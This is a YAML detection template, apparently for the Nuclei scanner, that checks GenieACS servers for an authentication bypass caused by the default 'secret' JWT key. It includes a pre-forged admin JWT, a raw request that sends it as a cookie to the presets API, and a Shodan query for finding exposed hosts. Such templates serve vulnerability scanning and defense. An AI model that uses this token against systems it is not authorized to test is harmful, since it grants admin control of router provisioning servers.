54 lines
1.7 KiB
YAML
54 lines
1.7 KiB
YAML
id: genieacs-default-jwt
|
|
|
|
info:
|
|
name: GenieACS - Authentication Bypass (Default JWT Secret)
|
|
author: DhiyaneshDK,pussycat0x
|
|
severity: high
|
|
description: |
|
|
GenieACS, an Auto Configuration Server (ACS) for TR-069 enabled routers and similar devices, is vulnerable to authentication bypass due to the use of a default JWT secret. During installation, if the default JWT secret "secret" is not changed, an attacker can create a JWT token, sign it, and use this token to log into the GenieACS UI interface. The attack is carried out by setting a cookie named "genieacs-ui-jwt" with its value being the JWT token.
|
|
reference:
|
|
- https://0x00sec.org/t/genieacs-and-the-tale-of-default-jwt-secret/32738
|
|
classification:
|
|
cwe-id: CWE-798
|
|
cpe: cpe:2.3:a:genieacs:genieacs:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
verified: true
|
|
shodan-query: http.html:"genieacs"
|
|
tags: misconfig,jwt,genieacs,default-jwt
|
|
|
|
variables:
|
|
cookie_name: genieacs-ui-jwt
|
|
default_jwt_secret: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiYXV0aE1ldGhvZCI6ImxvY2FsIiwiaWF0IjoxNzgyNTc0NDEyfQ.y2JaygP5n4WBYQ_dytgS0qet0b6KvtT31UJWqee4L6c
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET /api/presets/?filter=true HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Accept: application/json, text/*
|
|
Cookie: {{cookie_name}}={{default_jwt_secret}}
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- '"provision":'
|
|
- '"provisionArgs":'
|
|
condition: and
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- application/json
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
extractors:
|
|
- type: dsl
|
|
dsl:
|
|
- '"JWT Secret 👉 " + cookie_name + "=" + default_jwt_secret'
|